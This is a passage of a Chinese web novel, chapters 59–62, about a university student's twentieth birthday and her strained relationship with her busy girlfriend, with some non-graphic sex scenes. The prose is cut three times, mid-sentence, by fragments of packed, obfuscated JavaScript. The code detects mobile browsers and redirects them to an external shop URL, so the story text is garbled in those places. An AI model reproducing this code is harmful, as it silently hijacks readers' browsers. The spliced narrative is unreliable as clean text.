李清韵在中间,抱着束超大的香槟玫瑰,里面还有几朵向日葵,开得很盛。陈小雨和施澄站在两边,对着她笑脸盈盈。 秦离哽着,喉咙很痛,眼眶里泪水在打转,眼睛却是笑着的。 “施澄,你不是已经回家了吗?” “还有小雨,这个点你应该还在图书馆啊……” 施澄推了推眼镜,语气一贯平静:“清韵说给你过生日,我回去也没事,明天再走。” 陈小雨笑哈哈的:“图书馆什么的,少一天去,没关系的,当然是过生日最重要啊。” 实际上,本来以为秦离要跟女朋友一起过生日,她们一开始才没想着回来,打算改天再吃饭,但李清韵微信跟她们说了情况,她们才又赶回来了。 当然,这中间的原因,这会也没人提了。 李清韵将花送到她怀里,道:“不管那么多了,什么也别想,这会我们去吃大餐,去不去!” 秦离破涕为笑,毫不犹豫点头:“去!” “走走走,我们404小分队好久没全员一起吃饭了!” “就在今天!” 秦离换上本来约会穿的JK小裙子,抱着花闻了又闻,最后恋恋不舍地将它放在桌上。 李清韵笑嘻嘻的:“我就知道你肯定喜欢。不知道是谁,半夜在企鹅空间里悄咪咪发动态,感慨好想收到花啊,虽然你早上就删了,但可被我逮到了吧。” 秦离笑开了花,不在意她的调侃,心里都是暖流。 不过这可不是李清韵准备的礼物。她给秦离买下了她最近眼馋但有点小贵没舍得买的Lo裙,陈小雨准备了一盘二十四色的眼影盘,正适合cos用,施澄则干脆拿出了神秘博士的音速起子。 秦离开始尖叫:“啊啊啊啊——这是怎么拿到的?” 施澄解释说,让朋友从卡迪夫带回来的。 每一样礼物,秦离都好喜欢。 朋友对她的在意和祝福,好喜欢。 有朋友在的感觉,好喜欢。 真好……真好啊…… 二十岁的生日,二十岁的此刻,秦离没有恋人在身边,却有朋友,少年之间宝贵的情谊。 59. Chapter 59 四人选了家能吃火锅的KTV店,边吃边唱边嗨。 谁过生日谁最大,在秦离的强烈期待下,四人决定选择牛油火锅,不能吃辣的三人都奉陪到底。不过最后秦离还是牺牲了南城人的尊严,点了鸳鸯锅。 皆大欢喜。 “生产性皆无消费性拔群(就是这样的存在) 一点开心的事情都没有 所有的事情都觉得麻烦 于是不是上网就是睡觉 人生isover”① 秦离一脸平静地唱着自己的角色歌,又把听过的那些会唱的不会唱的日语动漫歌全点了遍,开着原唱,总之混着唱了就是爽。 李清韵跟着她一起唱那些狼哭鬼嚎的高音歌。陈小雨和施澄对唱歌兴趣不太大,专心致志在锅里捞肉。 这家的白汤是猪肚鸡,味道不错。 朋友之间就是如此,不需要刻意社交,聚在一起干自己喜欢的事情就行。 秦离仍然时不时看眼手机,眼看着黎羽回来的时间从六点推迟到七点,八点,九点…… 秦离没有催她,说自己了室友一起吃了晚饭。 黎羽似乎也松了口气。 妈妈、爸爸、姨姨们,家里的大家都给她打了电话。 爸爸转了一千块过来,秦离又转回去了。 “我这里钱够用的。” 最近妈妈的治疗很顺利,只是很容易疲惫,短期内都不适合再回到项目那边,她和爸爸也都不放心让妈妈过去。 快十点的时候,黎羽那边终于结束了,发消息过来:【我马上打车回来。】 【好哦。没事,不着急。】 漆黑的房间里,秦离将手机扔到一旁,坐在沙发中间,笑着看着插上蜡烛的生日蛋糕。 “祝你生日快乐~祝你生日快乐……许愿!” 秦离闭着眼,充满许下身边人都健健康康、平平安安的愿望,和大家一起吹灭了蜡烛。 “好耶~” 四人将冰淇淋慕斯蛋糕吃得一干二净,肚皮滚滚。 过十点了,四人一起压马路往宿舍方向走。 路上,李清韵小声问秦离:“黎羽那边还没结束?” “已经结束了,正在回来的路上。” “那就好,应该能赶上今天,晚上我们就不给你留门了~” “嗯。” 陈小雨和施澄都睡得很早,李清韵开始清下午没有干完的工作库存,宿舍变得很安静。 黎羽打电话进来时,秦离正在理花。 虽然花束很好看,但她是第一次收到鲜花,想保留久一点,于是将所有花分出来,一支支插在蓄水的瓶子里,摆在书桌上最显眼的位置。 手机铃声响起的瞬间,秦离压掉声音,去了阳台。 天空不知道什么时候落下浠沥沥的小雨,雨滴不大,但很绵密。她伸手去接,没有一寸皮肤有逃避的空间。 插上耳机,接通时她看了下时间,十点四十五分。 “小乖……”黎羽的声音里满是歉意,“抱歉,下雨天路上实在是太堵了……” “嗯,没有关系。”秦离的右手已经在雨中变得冰凉而麻木,但她没有收回来。 “小乖?”黎羽敏锐察觉到她的低落情绪,笑着安慰她,“别生气哦,这次确实是我不好,等我回来,我们庆祝一整个通宵,好不好?” “好哦。没事,我等你回来。”秦离的声音依旧很乖,黎羽也就没太紧张,索性挂着电话跟她说话。 今晚,黎羽说了很多句抱歉,她回了很多次没事,没关系。 黎羽跟她说了今天这个项目到底是怎么回事。原来,这次项目联络人找她们,是想和她们公司合作,新办个童声合唱的版块,区上推送了几家公立学校,打算挑选天赋好的孩子出来,由公司培养成立合唱团。 这是个长期扶持的方向,长线发展,又能背靠官方,是个难得的好机会。联络人也是从上次活动看到了她们公司的潜力,因此主动提出这个方案,事实上官方看中了的也不止她们一家,都在接触,目前还没有确定最终合作方。 因此,联络人一说,她们马上去主动对接,下午就到几所学校初步考察,晚上快速做了个简单的初版方案。目前来看,对方还是比较满意的。 九点多了,跟对方的第一次洽谈才顺利结束,黎羽便告别其他人,连忙打车,想着尽早赶回来。 她白天真的是没有一刻停歇,结束的第一时间就往回赶。 “小乖,别不开心,等我到了,我们去吃烤鱼吧,三期新开了家,说是味道很好呢。” “好哦。” 知道秦离现在肯定情绪低落,黎羽哄着她,难得成为话多的那方。 秦离能听出她声音里的倦意,毕竟和合作方周旋了一整天,不可能轻松的。但现在,她还要顾及自己的心情,打起精神来哄自己开心。 秦离都知道的,但她就是没法马上变得兴高采烈,又为黎羽要委屈自己来迁就她而感到悲伤自责。 一股悲哀在心中蔓延,压过了下午短暂的快乐,席卷而来,好像让一切都显得虚无,没有意思。 为了逃避这种情绪,秦离开始无意识刷着手机上的帖子和资讯,避免自己过分投入。 外面的雨下得更大了。 黎羽那边的声音变得吵闹,刺耳的喇叭声,此起彼伏,让秦离的心情更加烦躁。 黎羽的情绪也被传染,有些急躁:“堵在高架上了。” 大雨倾盆而下,黎羽坐在出租车的后排,看着雨刮器疯狂动着,也赶不上雨水冲刷的速度。司机已经打开应急灯,刷着内部资讯,道:“小姑娘,前面出车祸勒,好几辆连环追尾,得等交警到,还不知道要堵到什么时候。” 黎羽有些后悔,早知道应该选择地铁的,没想到打车速度这么慢,现在堵在高架上进退两难,也只能等下去了。 师傅的声音很大,听筒这边,秦离也都听得见。 “没关系,我等你,注意安全,不着急。” “嗯……” 短暂的静默,只听见两边相同的暴雨声。 黎羽手机电量告急,只得挂了电话。 秦离不想呆在房间里,去裹了件毛绒绒的厚睡袍,缩在阳台的椅子上,听着歌,看着外面的雨,发呆。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370189|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >椅子很硬,不太舒服,她以一个别扭的姿势蹲坐在上面,偏着头,半睡半醒。 冷意来袭。 再次惊醒,是听见手机铃声,身体已经冰透了,麻木到失去知觉。 秦离一直握着手机,看见黎羽发来的消息:【小乖,我还有2公里就到了。】 已经是十一点五十分了。 还有十分钟啊…… 【好哦,那我去门口等你。】 秦离手指已经冻僵了,回得慢吞吞的。 她换好本来是白天约会那身衣服,慢吞吞下楼。她不自觉按亮手机,反复看时间。 五十七分……五十八分……五十九分…… 刚出大门,她听见有人大喊着:“小乖!” 秦离转头,看见黎羽抱着一只等身的超大熊仔,从远处的灯火明暗处跑来。 雨,已经停了。 黎羽跑得很快,三两步跳上台阶,将秦离一整个抱进怀里,熊仔将两人挤得更紧了。她喘着气,声音里带着厚重的热意,轻呼在秦离耳边。 “小乖,生日快乐。” 说完,黎羽又摸摸她的脸和手,皱眉道:“你身上怎么这么冰?” 或许是因为跑动,黎羽的脸颊微红,体温很高,让秦离不自觉也回抱得很紧,本能汲取她身上的温度。 刚好五十九分,还是已经过了十二点了呢? 秦离脑子里本来还惦记着,被黎羽身上的热意烫着,身体一颤,如梦初醒,喃喃着。 “阿羽……” “怎么傻乎乎的,”黎羽笑着用手心暖着她的脸,“我们进里面说吧,外面太冷了。” “好哦。”秦离乖乖任她牵着,半天才解释,“刚刚睡着了,看到你消息才醒。” “抱歉,等久了吧。”黎羽亲了亲她还有些冰的鼻尖,“饿不饿?我们把熊仔放你宿舍,然后去吃饭?” 熊仔很可爱,但不是秦离预想的礼物。她不想多问,环住黎羽的后颈,凑了上去:“还要亲。” 黎羽搂住她的腰,含住她的嘴唇,轻吻着。 秦离张嘴,舌头霸道地探进黎羽的口腔,贪婪地攫取内里的所有空气,吮吸她的舌尖。 她越亲越凶,压着黎羽往后退了一步,抵在墙上。 “小乖……” 黎羽才刚喊出两个字,更多话被中断在唇舌的交缠之中,有津液来不及吞咽,顺着嘴角滑落。 水声激烈。 过了许久,久到黎羽都觉得舌根有些发麻了,她才捏了捏秦离的后颈,拉开距离。 “好了,今天小乖好黏人呀。” 两人的嘴唇因为过度吮吸而变得殷红,亮晶晶的。 秦离埋进黎羽怀里,依旧抱着她不撒手,话说也软乎乎的。 “我好想你啊。”她边说着,头边在黎羽怀里蹭来蹭去。 她等了一天了……真的……好想她…… 黎羽摸了摸她的头,轻吻着她的黑发,声音低沉温柔。 “我也很想你。” 秦离二十岁的开始,是在恋人的怀里。 她们拥抱彼此,以为会永远像此刻这般幸福。 60. Chapter 60 那家新开的烤鱼人很多,但不太好吃,两人都没有胃口,只吃了几口,走时还剩了大半。 出门时又下起了雨,大风刮着大片的雨滴从四面八方袭来,伞也没什么用。 诸事不顺。 黎羽有些懊恼,问秦离:“小乖,你想做什么,我们要不要去唱歌,或者看电影?” 秦离牵着她的手,贴得很近,看着她眼下泛着的青灰,摇摇头:“没什么想做的,我们回去吧。和你呆在一起就很好。” 黎羽确实很疲惫,闻言顺势答应了。 她白天就订了蛋糕,送到店里,拜托小何提前冻起来。蛋糕是冰淇淋慕斯味,上面用布丁做了只可爱的白兔子。 点蜡烛,唱生日歌,许愿,吹灭,吃蛋糕。 几个小时前走过的流程再走一遍,秦离心里没那么激动了,黎羽也是强打着精神。 “啪——” 收拾桌子时,黎羽有些分神,不小心将桌上的花瓶碰倒了。 是她们在桃花源时一起做的花瓶,现在已经变成了碎片。花瓶里插着一支花瓣全部掉光,连枝干都已经干枯的花。 秦离也不记得这花是什么时候买的了,半个月?一个月?还是寒假前…… “抱歉……” “没事……” 黎羽慌忙蹲下去捡,秦离也伸手想去收拾,两人的指尖触碰,不知道是谁的手指被碎片划伤,有血珠渗出。 两人都后知后觉,直到血珠落在裸色的花瓶碎片上,秦离突然惊道:“阿羽,你受伤了!” “没事。” 黎羽想去拿纸巾,秦离却是更快一步,将她的手指含进嘴里。她舌尖灵巧地舔去那一点血液,有些腥味,然后轻轻吮吸着,直到表皮都微微泛白。 “小乖……” 黎羽的身体变得燥热,原本的倦意消失了。她看着秦离头顶的发旋,感受着指腹触碰到的柔软,手指忍不住动了动。 秦离抬头看她,眼神带着渴望。 一切都是自然而然的,没有人再去管那什么打碎的花瓶,有的只是床上的翻云覆雨,大汗淋漓。 结束后,黎羽将秦离搂在怀里,很快就睡过去了。 秦离却没什么睡意。她的目光越过黎羽的肩头,透过那个狭小又破旧的窗户望向外面。河边没有车辆,没有霓虹灯光。 凌晨两点四十五分,好安静。 秦离突然觉得周围的一切都很陌生,化作看不懂的符号和像素点,在空气里扭动着。 这房子、这窗子、这桌子、这床、这人…… 好奇怪,就像被未名的神明抹去了她们的存在,或者说是搬运到了另一个空间,所有的一切都离她好远好远,连漂浮的尘埃都好像慢了一拍,她能看见她们的轨迹,世界之外。 这种感觉让她心里不适。她闭上眼,但就连眼前的黑暗,都好像有什么纹路在流动着,让人浑身都战栗。 为了驱逐这种不适,秦离转身,背对着黎羽,将自己缩进被子里,挡着光线,挂着耳机开始打艾诺迪亚3。 好久没打开游戏了,连屏幕上的小人都变得陌生。但很快,熟悉的bgm和肾上腺素的分泌,让她忘记了一切,沉浸在熟悉的虚拟世界的快乐之中,直到手机没电,不知道什么时候了,才昏昏沉沉睡过去。 黎羽是被冷醒的。 她醒来才看见秦离卷去了大半被子,背对着她缩成一团,快贴到墙上了。 她打了个喷嚏,看没把人吵醒,松了口气,放轻动作下床,换好衣服出去了。 楼下,何章远刚到,正在盘点店里最近的账目,看见黎羽下来,担忧问道:“小羽,你脸色好差啊,生病了吗?” 黎羽摸了摸额头:“可能昨晚有点着凉了。” “你啊,知道你现在一心搞事业,忙得很,但也要注意身体。” “嗯,没事,我有分寸。”黎羽去冰柜里开了瓶矿泉水,灌下了大半瓶。 “家里还好吗?” “嗯,我妈已经转去市一院了,目前情况还可以,多谢了。” “哎呀,说这些,这么客气。都是老乡,互帮互助应该的。” “应该感谢的。” 黎羽母亲的病情加重,多亏了何章远在老家的人脉协调,才转去更好的医院。黎羽知道,即使关系再好,别人的帮助都不是理所应当的。 周末依旧有很多工作电话。 看黎羽忙忙碌碌,远程安排了不少事,何章远感慨:“你现在也是大忙人了啊。” 黎羽面带倦色:“生活所迫。” 快到中午了,黎羽约好和李凌菲吃饭。 李凌菲现在在首都一家公关公司上班,和女友租房子住,这次难得回来,两人聚一聚。 黎羽离开得早,秦离还没醒。今天人不太多,她让何章远暂封了二楼,没让人上去。 黎羽和李凌菲在熟悉的烤肉店里碰面,两人脸上都难掩疲惫,一肚子步入社会的苦楚。 那些在校园里,球场上的意气风发明明就在不久前,却恍如隔世。 另一边,秦离醒来时是下午两点,手机已经自动关机了。黎羽不知道去了哪里,没给她留下任何东西。 她下床,看着光透过窗户,照着室内的一片狼藉。 地板上是昨晚没收拾的花瓶碎片,乱扔的纸巾,杂乱的纸箱。室内长期疏于打扫,尘埃在空气里乱飞,被阳光照得一清二楚。 桌上是喝了一半的饮料,不知道放了多少天了。 昨天吃的喝的许多东西还未消化殆尽,在胃里翻滚。 秦离突然觉得有些恶心。 她本来刚醒来还有点饿,现在是一点胃口都没有了。 手机充电开机了,许多消息涌进来。秦离看见了妈妈发来的消息,问她手机怎么关机了,她忙回了电话。 “妈,昨晚玩太晚,手机忘记充电了。” 妈妈笑着,听上去精神还行:“跟朋友去庆祝了哇?” “嗯……” “怎么……” 听见秦离兴致不太高,妈妈本想问她,突然想到什么,一时语塞。 秦离也沉默着,电话里一片寂静,一时无语。 秦离趴在床上,主动揭过话题,轻松道:“反正我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370190|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在学校,过生日不过生日,每天都是那么过嘛。不过生日,我一样和朋友出去吃大餐敞开玩啦。” “你啊,就是贪玩。”妈妈也接着话说,“对了,钱够不够?” “够啦,我这边没什么花钱的地方,你和爸爸自己多留点呀。” 妈妈的病还在治疗中,但似乎时好时坏,或许跟她过去工作太拼了有关。但妈妈爸爸可能不想影响她读书,没有说太多,有些回避,秦离也问不出来,只是心上总蒙着一层阴霾,无力,难受。 电话没打多久就挂了,秦离这才看见黎羽的消息,知道她和李凌菲去吃饭了。 【好哦,那我先回宿舍啦,下午还要和基友聊出片的事呢。】 明明昨晚是如此的热烈和渴望,但一觉醒来,仅仅隔了几个小时,秦离又觉得有些空虚。 算了,回去和基友聊出正片的事吧。 刚在大眼找了个新基友,可以一起出世以子和直美的cp呢,棚子和摄影都选好了,下午定具体拍摄思路。 真好啊~ 日子就这么过着,一天又一天,真的很快。 黎羽依旧很忙。 秦离知道她很辛苦,顾及她的工作,如果知道她在忙,就不会发消息过去打扰她,连约会都会顾虑黎羽的工作安排,要是知道她有事,或者太累了,便会说下次吧。 黎羽确实太忙,也太累了,最后大多时候会变成两个人一起在房间里呆着。 而每次和黎羽见面,秦离对她的渴望都会表露无遗。 于是,两人呆着呆着,便会转移到床上,变成激烈的性////事。 做////爱,疯狂的做////爱,秦离尤爱亲吻,霸道地交换双方的津液和呼吸,不舍得分开。 然而结束之后,依旧是新的分离,不可避免 每次见面,秦离都是真的很渴望她,但分开之后,她似乎又会忘记想她,最后变成了时不时提醒自己,啊,想她了,下次见面是什么时候? 事实上,她也有很多自己的事在忙。 GRE考试考完了,成绩普普通通,不太差劲也不好,秦离也没了再考的兴致。 她依旧在备考,只是心思没完全放在上面。 事实上,现在有了比考试,比种种更让她感兴趣的事。 写文。 仿佛是过去二十年的写作激情都在此刻全部点燃,她每天都会写一点,同人的原创的,想到什么写什么。 这个时候,哪想过什么收益,只要有一个读者回应,就高兴得不行。 这个时候,现实中的其她一切都会被她短暂遗忘,只有快乐。 除此之外,大概就是ACG的世界了,看番,去漫展,打游戏,生活仿佛又回到了认识黎羽之前的样子。 她在书柜上面贴了段话,是最近很喜欢的运动番里的配角说的。 “你,反手无力、正手不精、脚步松散、反应迟钝,没一个动作像样,就你还想和我同台较量?做你的美梦!”① 秦离对自己的人生突然充满了斗志。 去活着吧,去期待吧,去做想做的事吧。 61. Chapter 61 黎羽的出差也变得更加频繁。秦离想,或许是她们的公司业务已经扩大到外地了。 这是好事。 好事啊。 “我在公司附近租了个房子,以后可能不会专门赶过来了,你要不要过来和我一起住?” 提到这件事时,是某次做////爱结束后。漆黑的房间里,黎羽将秦离搂在怀里,抽着烟,火光在指间缩短。 秦离看不清她的轮廓,但听见她的声音,或许,含有那么一点期待。 这是同居邀请吧,秦离心想。 她犹豫了。或许是犹豫的时间太久,黎羽转了话风,指尖的香烟全部变成了灰烬,那点期待也很快被习惯的淡然所淹没。 “当然,还是看你。” 秦离侧身抱住她,将两人的身体贴得更紧了,解释道:“我这学期还有很多课,学校也有很多事,没法一直呆在那边。等到下学期吧,下学期我这边事情都结束了,我们就可以住在一起了。” 课多是真的,但秦离确实也很犹豫。 那边真的太远了,而且白天——甚至很多时候的晚上——黎羽都在工作,她一个人呆在那里,又有什么意思呢。 让她每天晚上赶过去,早上又回来,秦离不是做不到,但……总觉得不得劲,差了那么一口想要拼命的气。 或许,她也老了,再没有以前那种超绝精力和热情了。 而且……她也舍不得室友们。 因为这样的想法,秦离觉得很愧疚。她凑上去,边讨好着想要亲黎羽,边反复解释:“是真的有事顾不过来呀。” 黎羽恰好转头将烟蒂扔进垃圾桶,秦离的吻落在了她的下巴上。 秦离不满,反复用嘴唇摩挲着她那一块皮肤。 黎羽安抚着拍了拍她的背,低头含住她的唇。气息的涌入,带着淡淡的香烟和薄荷味,有点呛人,又有点迷醉。 “没事的,我等你。以后会好的,我们都会好的。” 于是,秦离更愧疚了,张开嘴,更加主动地与黎羽缠绕在一起,连呼吸都顾不上。 又是一轮热烈的翻云覆雨。 最近似乎总是这样,无论说到什么话题,最终都以狂热的做////爱收尾,好像这样,心就能靠得更近些。 秦离是真的很渴望,很急切地索求着什么。 黎羽也总是热烈地回应着。 即使两人的身体和精神都已经如此疲惫。 四月中旬,黎羽出了个长差,大概有十来天吧。秦离不太记得她是哪天走的,又是计划哪天回来,只是回过神时,才发现她已经走了好几天了。 打开对话框,除了日常的早安、晚安和行程报备外,干巴巴的,没有其她什么内容了。 秦离松了口气。不需要每周空出至少一天去见黎羽,她多了许多时间,不管是躺在宿舍,和朋友出去玩,甚至是就在图书馆备考,好像都还不错。 没有那么累。 每当意识到自己产生了这样的想法时,秦离又开始自责,反思自己是不是过于没心没肺,一点都不是个合格的恋人。 于是,想黎羽,加倍想她。 然后是更多的疲累和自责。 周而复始。 黎羽回来那天是个周三,秦离有一整天的课,于是没有去机场接她。 再说,她们公司的人一同出差回来,她出现,也不太合适吧。秦离这么想着。 黎羽这次去的地方是西北,好像是活动专题采风,特意选了沙漠戈壁风景,听上去倒是挺浪漫的,但其中劳累只有自己才知道。风尘仆仆的她。 她先回了租房那里,再过来学校这边已经是晚上了。 秦离翘了晚上的课,没有和室友去聚餐,在宿舍等她。 黎羽到楼下打电话时,秦离正在网游里和基友下副本。 “啊!阿羽你等我下,我马上下来!” 还好副本已经接近尾声,花了快十分钟结束,黎羽扔下耳机匆匆跑下楼,身上还穿着毛绒绒的睡袍。 “小乖。” 黎羽风尘仆仆,眉间是化不开的倦色,但看见秦离出现,仍然挂起笑容。 “我回来了。” “阿羽~” 秦离扑进她怀里,脑袋蹭来蹭去,撒娇道:“我好想你。” 黎羽摸摸她的头,声音温柔:“我也很想你。” 随即是双方的沉默,不约而同的沉默,好像都在等对方继续话题。 最终,还是黎羽先开口了:“我给你带了点明光州的特产回来。那里的草原真的很美,以后等空了,我们一起去看吧。” “好哦~^^” 两人已经约定了好多好多事,以后总有时间慢慢一一实现的吧。 黎羽带的是明光州的牛肉和葡萄干,秦离当面拆开尝了尝。 葡萄干还行,但牛肉好像风干得太厉害了,很硬。秦离保持着表情不崩,咬牙切齿地嚼着,将它艰难吞了下去,才笑道:“挺好吃的,谢谢……哇,超开心的!” 秦离也不知道自己为什么突然说话这么客气,虽然反应过来及时改口,用有些尴尬的夸张语气掩盖过去,但黎羽并没有错过。 空气凝固了一瞬。 半天,黎羽才扯着笑应道:“好吃就行哦。” 看着她的笑容,秦离低下头,突然有些难过,不知道该说什么。 黎羽的手心很热,动作很轻柔,抚摸着秦离的黑发,无声叹了口气,眼帘低垂。 “那……我先走了,奔波了一天,也挺累的,我回去歇一歇。” “……嗯。” “那,你也早点休息吧,少熬夜,晚安。” “……晚安。” 黎羽在秦离的额头上印上一吻,轻柔的唇,微微颤动着,蜻蜓点水般。 她转身离开,微凉的夜风吹动衣衫,背影看上去有些孤寂。 秦离的心颤了颤,有泪涌了上去,盈满眼眶。 “阿羽!”她大声喊着,跑了过去,牵着黎羽的手,“别回去了,晚上我们去酒店吧。” 黎羽无奈:“我今天是真的没有力气了。” 秦离愣了下,才反应过来她是什么意思,羞恼道:“我又不是色魔,天天想着床上那些事。” “真的——不想吗?” “……我就是很喜欢嘛!”秦离喊了声,声音又变小,底气变得不足,“就……至少今天不是想着这个啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370191|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我就是想陪在你身边,我们一起看点轻松的片子,或者躺着听音乐,怎么都好啊。” “……好。” 黎羽笑了,浅浅的笑,不再勉强。 气氛变得自然。 秦离提过袋子,两人牵着手朝三街去。 春日的夜晚不再寒冷,相握的手心微微发热。 除了不知名的小宾馆,三街只有便宜的连锁酒店,店面看着有些简陋,灯光不太亮。 黎羽开了间豪华大床房,在走廊的尽头。两人靠坐在床头,窗帘紧拉着,只开着昏暗的夜灯。 秦离随便点了部片子,名字她很喜欢,叫蝴蝶①。 很常见的拉拉故事,带着怀旧痕迹的滤镜,无数闪回,黏糊糊的粤语,有些忧郁,让人昏昏欲睡。 时间变得好慢,世间万物都好像被隔绝在这间房子之外。 被暂时遗忘。 不知不觉,两人都闭上了眼,秦离的手带着手机垂落在白色被子上。她无意识侧身,钻进黎羽怀里,蹭了蹭。 感觉到她的动作,黎羽习惯性将她抱进怀里,下巴抵着她的头顶,眉头慢慢舒展开了。 两人微微蜷缩的身体,像是蝴蝶的双翼,一大一小。 手机上的影片还在播放着,女孩的欢笑和哭泣声中,是空灵飘逸的歌声。 “Inthelongestofnights Stirheratyourbreast Insilence-rowher,rowher Onthebleakestofmorns She''llbreakatyourrokcs Andweeping-rowrow”② 秦离不知道梦见了什么,身体蜷缩得更厉害了,睫毛微颤,眼角被渗出的一点泪润湿。 早上,刺眼的阳光透过未紧闭的窗帘缝隙射了进来,刚好落在两人相交的手臂上。 黎羽先醒来了。她现在总是醒得很早。 人还未清醒,她便亲了亲秦离的额头,刚刚好的位置。 温热的气息,柔软的触感,秦离也迷迷糊糊睁开眼,声音黏糊糊的:“早……” “早。” 黎羽落下了更多的吻,在她的额头、眼睛、脸颊、嘴唇。 秦离抱着黎羽温存着,难得没有性///爱的夜晚,却让她心里如此平和。 “今天还有事要忙吗?” 秦离还是担心耽误黎羽的工作,首先想着这个。 黎羽摇摇头:“这两天都空下来了,全是属于我们的时间。” 秦离眼睛亮了:“太好了!那我们去游乐园玩吧!” “好。” 黎羽一如既往应着,摸着她的黑发,眼睛里带着笑意。 大学城附近就有家星星游乐园,虽然不是连锁,但规模也很大。 今天天公作美,是个艳阳天,连风吹在身上都带着暖意。 秦离拉着黎羽换了身情侣装,俗套的印花卫衣,她却很喜欢。她戴着黎羽送的兔子项链,两人一起买的菩提,头上扎了个红色的大蝴蝶结,面色红润。 是久违的幸福约会。 62. Chapter 62 今天一整天阳光都很好。游乐园里人流适中,热闹但不拥挤,放着许多老歌,整个世界都像是覆上一层金黄色的怀旧滤镜。 秦离上次来游乐园还是初中学校组织的,但当时只尝试了些普通项目,怯于去那些刺激的设备,不想显得太独树一帜。 现在,她的心就一直怦怦直跳,不知是因为身边的人,还是因为马上就要排到的过山车。 黎羽自然是陪着她的。她想玩什么,就去哪里。 乱蹦的心脏,挤在喉咙里的尖叫,紧握的双手,从过山车上下来,秦离看向黎羽,眼睛亮晶晶的:“好玩~还想来~” 她喜欢这种失重和惊恐的感觉。 “好。”黎羽笑着应着。她没有不喜欢,也没有很喜欢,只是陪着秦离。 星星游乐园有很多类型的过山车,木质的,落差最大的,速度最快的……秦离拉着黎羽将大大小小所有过山车都坐了遍,终于心满意足。 黎羽揉了揉有些发昏的额头,脸色略显苍白。秦离这才注意到,后知后觉道:“阿羽,你不舒服吗?” 黎羽胃里确实有些翻滚,但没表现出来,也没正面回答,只笑道:“能连坐七趟过山车,我们小乖好厉害哦。已经一点了,我们先吃点东西吧,这一天长着呢,玩游乐园也是体力活。” 被夸奖,秦离嘿嘿笑着,又见黎羽状态恢复如常,便没多想。 这个点的餐厅人很多,两人好不容易找了个角落的位置坐着,将就吃着简单又昂贵的快餐。 餐厅里人声鼎沸,音响的大喇叭让声音显得劣质,放着有年代感的老歌。 “BABY~你就是我的唯一 两个世界都变形 回去谈何容易 确定你就是我的唯一 独自对着电话说我爱你 我真的爱你”① 秦离恍惚,仿佛回到了千禧年间,那时候,在那个小县城里,汉堡薯条都是妈妈去外地出差才能带回来的洋货。 后来中学,她去南城了,才慢慢见了市面。 时光飞逝,竟然也过去这么久了,连她往回看,都可以看到好远好远。 在嘈杂的人声中,她好像与世间万物都隔开了,世界的流速变得很慢。黎羽坐在她对面,好像在说什么,却没有一个字进入她的耳朵。 心脏、四肢、躯体、灵魂,都好像变得轻飘飘的,散落在空中,被阳光照耀着,一阵风就要吹走了。 空落落的。 莺莺燕燕春春,花花柳柳真真。 停停当当……人人。② “……小乖,小乖,小乖!” 声音隔着无形的罩子,瓮瓮的,好半天,秦离落回了现实,回过神来:“怎么了?” 世界终于恢复了正常流速。 黎羽心中突然有些不安,抓住秦离的手,但迎上她的目光,却哽住了,自己也不知道那点不安到底是什么。 她摇摇头:“没事,就是问你下午想玩哪些项目。” 上午的狂欢激情已经过去了,秦离兴致落下了些,道:“我们就选些人少,不那么刺激的吧。” “好。”黎羽也松了口气。 因为心中某点念想,黎羽唯一有点想去的就是摩天轮。可惜最近园内设备故障,没有开放,她便没提,秦离也就不知道那点念想。 两人去了鬼屋,但那点吓人程度,有些索然无味。倒是鬼屋出口有个打枪扔沙包的摊子,秦离贡献了不少钱,嘻嘻哈哈,可惜最后只得了对塑料的小熊钥匙扣。 两人一人一只,挂在包上。 太阳落得很快,这样无忧无虑的快乐时光也走得很快。出园时,秦离看见门口做手工陶器的地方,才突然想起:“啊,我们该去做项链的。” 黎羽也想起秦离生日那天的爽约,有些愧疚:“现在要去做吗?” 秦离犹豫片刻,但想着两人都跑了一天了,摇头:“没关系,明天也可以呢。阿羽,你明天也有时间的吧?” 黎羽点头笑道:“这几天都是专属于你的。” 然而第二天,有事的却是秦离。 一大早,爸爸就打电话过来,说奶奶病了,病得很严重,可能就在这几天了,问她有没有空回来。 “当然要回来啊!我马上订机票。” 秦离不懂,奶奶不是就得了口腔溃疡吗,怎么会就到要病危的程度。 想起寒假回去的时候,奶奶还笑眯眯给她拿压岁钱,除了脸颊包着药外,看上去也没什么问题。 怎么会…… 秦离有些自责。她对家人关心不够,到头来什么都不知道。 黎羽送她去了机场,她也没心情缠绵了,匆忙告别后离开。 爸爸开车在机场等她,下飞机后直接回老家。妈妈没在车上,秦离听爸爸说,她这两天在医院了,似乎有其他情况,要住院观察。这个节骨点,她又生了病,也不方便回去。 秦离对此一无所知,只觉得更加无力,心情低落。 